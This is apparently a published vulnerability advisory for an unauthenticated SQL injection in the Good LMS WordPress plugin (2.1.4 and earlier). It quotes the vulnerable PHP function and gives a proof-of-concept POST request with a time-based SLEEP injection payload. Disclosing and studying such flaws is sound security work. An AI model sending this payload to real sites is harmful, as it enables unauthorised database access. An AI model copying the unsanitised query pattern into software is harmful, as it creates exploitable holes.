WordPress Good LMS 2.1.4 SQL Injection Vulnerability

Date added: 12-11-2020

Author: A. Alaseeri Risk: H

# Exploit Title: WordPress Plugin Good LMS 2.1.4 - 'id' Unauthenticated SQL Injection
# Software Link: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850
# Version: <= 2.1.4
# Dork: N/A
# Author: Abdulazeez Alaseeri
# Tested on: linux/apache
# Type: Web App
# Category: Web App
 
 
================================================================
Unauthenticated SQL Injection in Good Layers LMS Plugin <= 2.1.4
================================================================
 
Plugin URL: https://codecanyon.net/item/good-lms-learning-management-system-wp-plugin/9033850
 
Following is the vulnerable code in file "goodlayers-lms/include/lightbox-form.php" from line 682 to 701
================================================================
Start Vulnerable Code
================================================================
682-  add_action( 'wp_ajax_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
683-  add_action( 'wp_ajax_nopriv_gdlr_lms_cancel_booking', 'gdlr_lms_cancel_booking' );
684-  function gdlr_lms_cancel_booking(){
685-    global $wpdb;
686-
687-    $sql  = 'SELECT * FROM ' . $wpdb->prefix . 'gdlrpayment ';
688-    $sql .= 'WHERE id=' . $_POST['id'] . ' AND ';
689-    $sql .= '(payment_status=\'pending\' OR payment_status=\'submitted\' OR payment_status=\'reserved\')';
690-    $booked_course = $wpdb->get_row($sql);
691-    if( !empty($booked_course) ){
692-      $payment_info = unserialize($booked_course->payment_info);
693-
694-      $course_options = gdlr_lms_get_course_options($booked_course->course_id);
695-      $course_options['booked-seat'] = intval($course_options['booked-seat']) - intval($payment_info['amount']);
696-      update_post_meta($booked_course->course_id, 'gdlr-lms-course-settings', wp_slash(json_encode($course_options, JSON_UNESCAPED_UNICODE)));
697-
698-      $wpdb->delete( $wpdb->prefix . 'gdlrpayment', array('id'=>$_POST['id']), array('%d'));
699-    }
700-    die("");
701-  }
================================================================
End Vulnerable Code
================================================================
Line 682 means that function "gdlr_lms_cancel_booking" can be called using "/wp-admin/admin-ajax.php" by having any low privileged account such as subscriber or contributor. However the "nopriv" in line 683 means that the same function "gdlr_lms_cancel_booking" can also be called as an unauthenticated user. Following URL means that an attacker is already inside function "gdlr_lms_cancel_booking".
 
http://www.example.com/wp-admin/admin-ajax.php?action=gdlr_lms_cancel_booking
 
SQL Injection on line 688 is pretty simple to understand that an arbitrary user input in POST Request is sent straight into the MySQL Query as variable "id"
 
$sql .= 'WHERE id=' . $_POST['id'] . ' AND ';
 
Following are the Request Headers as POC which demonstrates MySQL SLEEP Query.
 
================================================================
Request Headers Start
================================================================
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
 
action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV)
================================================================
Request Headers Finish
================================================================

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